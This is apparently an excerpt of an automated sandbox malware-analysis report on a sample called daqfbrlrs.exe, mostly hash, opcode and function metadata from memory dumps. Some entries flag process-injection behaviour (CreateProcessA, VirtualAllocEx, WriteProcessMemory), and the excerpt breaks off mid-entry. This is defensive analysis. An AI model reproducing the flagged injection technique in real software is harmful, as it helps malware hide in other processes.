Opcode ID: bbe7f1881d4366887b377447dbf6709d5c2f27d628e78c3df7ce8cbc74743052
Instruction ID: ad14d3517d3b1078a98e56ebcce36b5b1e39428851e15ecac9af27dbe5615d97
Opcode Fuzzy Hash: bbe7f1881d4366887b377447dbf6709d5c2f27d628e78c3df7ce8cbc74743052
Instruction Fuzzy Hash: 2E413D74A0020A8FCB05DF68DA9199EFBF5FF84304B14C669D418EB349EB35E905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02A70898 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14dc1d4644041b3ae9b3045ac8d800350f04cd32e5e3ddd2daeaace0a5155b7d
Instruction ID: 97889c83017f3099b7ff608631d7290570fc53cba1006aef80b74d2a02f3231c
Opcode Fuzzy Hash: 14dc1d4644041b3ae9b3045ac8d800350f04cd32e5e3ddd2daeaace0a5155b7d
Instruction Fuzzy Hash: D1410D74A002099FCB05DF69DA9199EBBF5FF84304B14C669D818EB349EB34A905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02A708A8 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42cd60b077e898d9ec47624214890bbcabe33aa0065b264cdad4f74d267daba0
Instruction ID: 6271f05c16a3a59d65eefbce49075fed6b787db7ab9d04e333c4d0930df3469e
Opcode Fuzzy Hash: 42cd60b077e898d9ec47624214890bbcabe33aa0065b264cdad4f74d267daba0
Instruction Fuzzy Hash: CE310B74A0020A8FCB05DF69DA919AEFBF5FF84304B10C629D419EB349EB34E905CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0113D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874192567.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_113d000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75362659ad31cedba53d61c2d90090888a610c77af904b6ac90ea1415b0e3843
Instruction ID: 370b288f24bbef44b0349e3d240033eea6f1bfe82b87767eabec8c718c2ffe38
Opcode Fuzzy Hash: 75362659ad31cedba53d61c2d90090888a610c77af904b6ac90ea1415b0e3843
Instruction Fuzzy Hash: C6210371104244DFDF19DF98E9C4B26FF65FBC4B54F608569E9090B24AC33AD40ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02A7D238 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c219d8a3644afaba4a24eb3a75ebaa3a213f44ca18cd72a150f2f7e44d83bd
Instruction ID: 444e552f181b433f2da348cefcc8e8d7cfdf510df0d902197f9b068d8a5fc514
Opcode Fuzzy Hash: 01c219d8a3644afaba4a24eb3a75ebaa3a213f44ca18cd72a150f2f7e44d83bd
Instruction Fuzzy Hash: B32126B0A04608DFDB04DFA9C9487AEFBF5FF59304F5080A9D409A7254EB348A86CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0113D006 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874192567.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_113d000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b22c3b1e5f61ddba7577afb232733466d2bbb741abf2a075ab6eb91b872f9d3
Instruction ID: 03a36b7915003d3fa0744c5e4340279bcad57009c7c3286276f9ad8798e5183b
Opcode Fuzzy Hash: 5b22c3b1e5f61ddba7577afb232733466d2bbb741abf2a075ab6eb91b872f9d3
Instruction Fuzzy Hash: 2C21AF710083808FCB07CF54E984B16BF71FB86714F2885DAD8458B267C33AD81ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02A7EC40 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d395e9cd78112fda247c887ce60137ac5b9bb75958c3a9e56368fcc6584adfd
Instruction ID: 02ad7821e99ebe9036cc99f13bfa6098dff769229b257586decb03cc55209418
Opcode Fuzzy Hash: 4d395e9cd78112fda247c887ce60137ac5b9bb75958c3a9e56368fcc6584adfd
Instruction Fuzzy Hash: 67114678E00209CFCB05CF9AC9846EEBBF6FB88310F00906AE504B3254DB345A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06ADDBE8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed984e26a971e345d47b3eb56f3e1d9d68670aa759298c904ae92205c91cdc6
Instruction ID: df75a4eb29ffd2a2bd087aee95c1953657752827d9c587cb193ceefabcc0bc0e
Opcode Fuzzy Hash: aed984e26a971e345d47b3eb56f3e1d9d68670aa759298c904ae92205c91cdc6
Instruction Fuzzy Hash: 3C11B3B4E002099FDB48EFA9C9456AFBBF5BF88300F10846A9418A7395DA349A41DF95

Uniqueness

Uniqueness Score: -1.00%

Function 06ADDFC8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028b763e67d8b7520322f7aa8b19eb85ac70f8624220fd623b866350947e85bb
Instruction ID: e6123246db3dde8da1f845e9c92576a270b40ac46510ac8f29252e3722098099
Opcode Fuzzy Hash: 028b763e67d8b7520322f7aa8b19eb85ac70f8624220fd623b866350947e85bb
Instruction Fuzzy Hash: 74F01C74D04208EFCB94EFA9C840AADBBF8AF4C311F14C0AAE859D3341D6359A51DF90

Uniqueness

Uniqueness Score: -1.00%

Function 06ADE470 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ac82ebf275e849ed5bc71337722dc35fe7313c5a557bc1a0019e74123bee02
Instruction ID: b9550823c25cbeb7ec4cff13790355e7eeab03e1040ade7408e2bbd751720ca5
Opcode Fuzzy Hash: e3ac82ebf275e849ed5bc71337722dc35fe7313c5a557bc1a0019e74123bee02
Instruction Fuzzy Hash: 3BF0C9B4E05208AFC784DFA9D8406ADBBF4AB48310F10C0AAA859D7341D6369A51DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02A7EA00 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8491625b53649dfdc18c0fdbca65f76b421f5548df8963e85fc50de30a7c41
Instruction ID: 57393b46e1407470896486f30bfb22b84de03b341bfc7f390e38e5f6bad73615
Opcode Fuzzy Hash: 6a8491625b53649dfdc18c0fdbca65f76b421f5548df8963e85fc50de30a7c41
Instruction Fuzzy Hash: 5CF0A574E05208EFCB84DFA8D940A9CBBF5FB48311F10C0AAA818A3351D7329A51DF84

Uniqueness

Uniqueness Score: -1.00%

Function 06AD9250 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be9a5debaf39641bd047af3d2e97e35b05d92e81dc8edc39442e2a841607ff2
Instruction ID: 249cc83e913f3d46df8233cf96fbd3d482b9665a92ca29c9b48de141663ab685
Opcode Fuzzy Hash: 5be9a5debaf39641bd047af3d2e97e35b05d92e81dc8edc39442e2a841607ff2
Instruction Fuzzy Hash: FBE0ED74E05208EFCB84DFA8D44069DFBF4EB48314F10C0A9D819A3345D7319A51DF80

Uniqueness

Uniqueness Score: -1.00%

Function 06AD51F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be9a5debaf39641bd047af3d2e97e35b05d92e81dc8edc39442e2a841607ff2
Instruction ID: 2c24db4293a37c249cd0dd332963adc84ab49a8d89e35b242e3725b29820f4c4
Opcode Fuzzy Hash: 5be9a5debaf39641bd047af3d2e97e35b05d92e81dc8edc39442e2a841607ff2
Instruction Fuzzy Hash: FDE0ED74E05208EFCB84DFA9D540A9DFBF4EB48314F10C0A9E81993355D7319A55DF80

Uniqueness

Uniqueness Score: -1.00%

Function 02A70838 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b31bb64e00f7fe0c5ea08dc707e1675439ba3cfeaab07649eb80a3824a39641
Instruction ID: fc0723bd25e683c0d4a5bfd595eaeb63b14f03db04011e8781102e697a148ad7
Opcode Fuzzy Hash: 4b31bb64e00f7fe0c5ea08dc707e1675439ba3cfeaab07649eb80a3824a39641
Instruction Fuzzy Hash: 81E0DF30901208EFCB94DFB8EE0298D7BB8EB85304B1041A9D418D7348E6309F009B51

Uniqueness

Uniqueness Score: -1.00%

Function 06ADEBC0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad0f3b9f8db0f377556a346d8a765697ad80fbdd896e336ca799f2533caa473
Instruction ID: 4f15fe614868dea08622295f43fc79610e359c16e860d7cca9b8a9c07b32cf74
Opcode Fuzzy Hash: 8ad0f3b9f8db0f377556a346d8a765697ad80fbdd896e336ca799f2533caa473
Instruction Fuzzy Hash: BDE0867490920CEFC744DF94D8409ADBFB8AB45311F10C1A9E8469B382C731AA51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 06AD7CF0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c085289e92b3df0446ab426d17fbc88a6e0bc58de923a5927653a23559ae5cb
Instruction ID: ae23ff9a5f7b0cea7f9f54de4a4b5bf3351d066071ddaef5a619f54752ba61f2
Opcode Fuzzy Hash: 9c085289e92b3df0446ab426d17fbc88a6e0bc58de923a5927653a23559ae5cb
Instruction Fuzzy Hash: AFE01274D09208AFCB49EBA8D4406BCBBF4AB88200F10C0AAE85957381D6329A42DF80

Uniqueness

Uniqueness Score: -1.00%

Function 06ADCC08 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b68487b1e6412b429204ae87b8cd64f37502c1c058a4e46eb665135ba82e947
Instruction ID: 152d65c0950875b71f4a3522f7475c7f24447fb1529fa1115b3abf5960244d4a
Opcode Fuzzy Hash: 5b68487b1e6412b429204ae87b8cd64f37502c1c058a4e46eb665135ba82e947
Instruction Fuzzy Hash: BDE08C34909108DBC704EF94E8405ACFBB8AB45324F5080A8D80A17381DA32AE52CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02A70848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ea19c483a7d3b1bf8c19d778243160c40bb676829f1765b7043ea162b9dec3c
Instruction ID: 43dcb862fd003eb99d661ebcd62b412bc2b256170fc9688b8590ca19596259c9
Opcode Fuzzy Hash: 3ea19c483a7d3b1bf8c19d778243160c40bb676829f1765b7043ea162b9dec3c
Instruction Fuzzy Hash: 55D01730A01208EFCB04EFA8EA0195DB7FDEB85204B1086A9D408E7648EB316F00AB91

Uniqueness

Uniqueness Score: -1.00%

Function 06ADCF90 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f96f1fd739ff29fba171b9fe3ebb4b9a5d1519a44ee2a3c8f50e400fab20aa62
Instruction ID: ab2a69cb2c53f556d2e1767169fbcd4b7c82f73eb697c10aa8ed3643f8f8629f
Opcode Fuzzy Hash: f96f1fd739ff29fba171b9fe3ebb4b9a5d1519a44ee2a3c8f50e400fab20aa62
Instruction Fuzzy Hash: DEC08C3009A3048ED2A8365864483B0B6AC9B0A622F806410B60F4009256704090CBC0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: daqfbrlrs.exePID: 6772, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	209
Total number of Limit Nodes:	10

Executed Functions

Function 02DDDA28 Relevance: 8.5, Strings: 6, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xb`q, xrefs: 02DDDB55
U}<, xrefs: 02DDDE19
paq, xrefs: 02DDE5E2
Te]q, xrefs: 02DDE14B
TJbq, xrefs: 02DDDBCA
4']q, xrefs: 02DDE4FB

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: 4']q$TJbq$Te]q$U}<$paq$xb`q
API String ID: 0-3708470112
Opcode ID: 2f4a7b19a645abcff4d8600fd3be3d5cc37e8d950d1f014d23ca8e6f26f512ca
Instruction ID: bbdd3be741167035c0ba9b4d76e52547a92d685d035293f43ab796adde676139
Opcode Fuzzy Hash: 2f4a7b19a645abcff4d8600fd3be3d5cc37e8d950d1f014d23ca8e6f26f512ca
Instruction Fuzzy Hash: 28A2C675A00628CFDB65CF69C984AD9BBB2FF89304F1581E9D509AB325DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06CDD760 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Ddq, xrefs: 06CDD865

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: b5fd88820f180774c70ba318997ef4ffe28dbe4bb6fad3869e028bed10e69cd6
Instruction ID: d4036285d65429a80d6295491bd327bd8c7df159ed4888a7d1da8842e560aa28
Opcode Fuzzy Hash: b5fd88820f180774c70ba318997ef4ffe28dbe4bb6fad3869e028bed10e69cd6
Instruction Fuzzy Hash: CDD1DF74E01219CFDB54DFA9D990A9DBBB2FF88304F1085A9D409AB365DB35AD81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06CDEC08 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06CDEF81
4']q, xrefs: 06CDEE22
4']q, xrefs: 06CDEF01

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: 9db40fab929e5bc2d3bc6c9d51cf16137d1fdd783bf0d30975cdf0a2292b193e
Instruction ID: 06b12765a19b8121991225e5a83cc6cff7879eb3f29a831403cbe6cb214a0261
Opcode Fuzzy Hash: 9db40fab929e5bc2d3bc6c9d51cf16137d1fdd783bf0d30975cdf0a2292b193e
Instruction Fuzzy Hash: 1BF1A534A10218CFCB48DFA4D998E9DB7B2FF89300F558158E906AB3A5DB71ED46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02DD09E0 Relevance: 2.6, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02DD0AB5
Te]q, xrefs: 02DD0AA2

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: d1b29eb7dab385747905e0caa7174c5df4447a42f5512c812a3c107c7c0e3c91
Instruction ID: 62fc4422b8889ba1994ff75cf629490d878fed91f00b5def795349f47941f623
Opcode Fuzzy Hash: d1b29eb7dab385747905e0caa7174c5df4447a42f5512c812a3c107c7c0e3c91
Instruction Fuzzy Hash: 7D316D70E016059FCB58EF69D595AAEBAF7AFC8701F20842DD006EB3A0DE745D06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DD0A5D Relevance: 2.6, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02DD0AB5
Te]q, xrefs: 02DD0AA2

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: cd5e69b038d64beef7c1da88c311351d5bd06d27024a5f4bc69bc497b2573bbb
Instruction ID: 73046c69bf1406a1765a5358926ea8efe579376b3e53a250750abc4e40522754
Opcode Fuzzy Hash: cd5e69b038d64beef7c1da88c311351d5bd06d27024a5f4bc69bc497b2573bbb
Instruction Fuzzy Hash: A7218E70B406058FCB18EFA8D594B6EBAE3EFC4701F614429D002EB3A0CE749D06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02DD0A2D Relevance: 2.6, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02DD0AB5
Te]q, xrefs: 02DD0AA2

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 7d3c8dcc46ec2abaed00b036896d5c4a18813e5958f2faa45fdf1d062a07f743
Instruction ID: 9deab7db1357bc2fcd3509174ea78cb0df68bb3892eba8a1e3bc26158173c184
Opcode Fuzzy Hash: 7d3c8dcc46ec2abaed00b036896d5c4a18813e5958f2faa45fdf1d062a07f743
Instruction Fuzzy Hash: DC213A70B406198FCB58EF69D594B6EBAE3AFC8701F254469D006EB3B4CE745D06CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06CC7162 Relevance: 2.5, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 06CC71C4
!, xrefs: 06CC71F3

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: !$/
API String ID: 0-2633443642
Opcode ID: f728ea9e2504d32e5b4943cd247836fa27eb5e606b85b37e85fb45fd76dc3ca1
Instruction ID: 97915009f0f50b2b531a655b947717736d4bf32aa7cfabb0dbf78b9d0b55be03
Opcode Fuzzy Hash: f728ea9e2504d32e5b4943cd247836fa27eb5e606b85b37e85fb45fd76dc3ca1
Instruction Fuzzy Hash: 9E11D378A01229CFCBA4DF18DC88AD9B7B1FB48314F1445E9E519AB650DB369F81CF01

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A454 Relevance: 1.8, APIs: 1, Instructions: 285
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02E4A6C7

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ffaf2715cb0feafa11206512d9059b7a052ba7b7852def640b12cf5ab0388003
Instruction ID: 063e4d57f1918d18f8902ef91db67851af1e408c178a3f74ad2af58ec8799a37
Opcode Fuzzy Hash: ffaf2715cb0feafa11206512d9059b7a052ba7b7852def640b12cf5ab0388003
Instruction Fuzzy Hash: 89B135B0D402188FDB20CFA9E855BEDBBB1BF49324F14A16AE859A7340DB349981CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A460 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02E4A6C7

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 53393b4fd8113a2c3c157378ec2ddc001e9d88b0c8a59142170d3884f31b546a
Instruction ID: 198798c394412fd458220e5d2e590f5666f75dd8cdbabbb6e0f392756f1cad6d
Opcode Fuzzy Hash: 53393b4fd8113a2c3c157378ec2ddc001e9d88b0c8a59142170d3884f31b546a
Instruction Fuzzy Hash: 50A134B0D40218CFDB20CFA9D955BEDBBB1BF49314F10A16AE859A7340DB389985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 02E4B549 Relevance: 1.6, APIs: 1, Instructions: 121
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02E4B620

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 87ec83a1d5aaef27cd395722c0c074ebe333b05a514f92d6cc6eb5330beb71d0
Instruction ID: f86384193de63d496bfecb7a8e86b2abe02431de1137c1f22e3285d2ca88a708
Opcode Fuzzy Hash: 87ec83a1d5aaef27cd395722c0c074ebe333b05a514f92d6cc6eb5330beb71d0
Instruction Fuzzy Hash: 1F41BDB5D012589FCF00CFA9D984AEEFBF1BF49304F14942AE415B7250C739A945CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02E4B550 Relevance: 1.6, APIs: 1, Instructions: 115
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02E4B620

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 85694e6f7b707b19f44df9706a465b4e2e1798a17665e47c98c95eaf2e00bd33
Instruction ID: fe0afebf60686d169bf12b60a2aa1b23698c34cd5f8331fc169db421250d3876
Opcode Fuzzy Hash: 85694e6f7b707b19f44df9706a465b4e2e1798a17665e47c98c95eaf2e00bd33
Instruction Fuzzy Hash: 0F41BAB4D012589FCF00CFA9D984AEEFBF1BB49314F10902AE419B7250C738AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 02E4B289 Relevance: 1.6, APIs: 1, Instructions: 107
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02E4B33A

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aa8abf23616295eca76299ed3c3140ed9ff3ee5e4173e71aa7dc27d5960153e4
Instruction ID: d1f580ef4a0cb41784424558d14bf53db5213bf5d3feff3840c3182df9827e84
Opcode Fuzzy Hash: aa8abf23616295eca76299ed3c3140ed9ff3ee5e4173e71aa7dc27d5960153e4
Instruction Fuzzy Hash: 64419CB5D002589FCF10CFA9D981ADEFBB1BB49314F10A42AE815B7310D775A942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A7C9 Relevance: 1.6, APIs: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d86c535e6050b10f25f3c7bf8fed76b33ed9b4662f349bed2abfa0d520b0df
Instruction ID: 8bf5d504e180b6561db46189d82cf409657530eda335d95a353d51d33407e128
Opcode Fuzzy Hash: f7d86c535e6050b10f25f3c7bf8fed76b33ed9b4662f349bed2abfa0d520b0df
Instruction Fuzzy Hash: B94111B4D412189FCB14CFA9E894AEEBBF0FF49314F14902AE415B7250CB399946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E4B290 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02E4B33A

Memory Dump Source

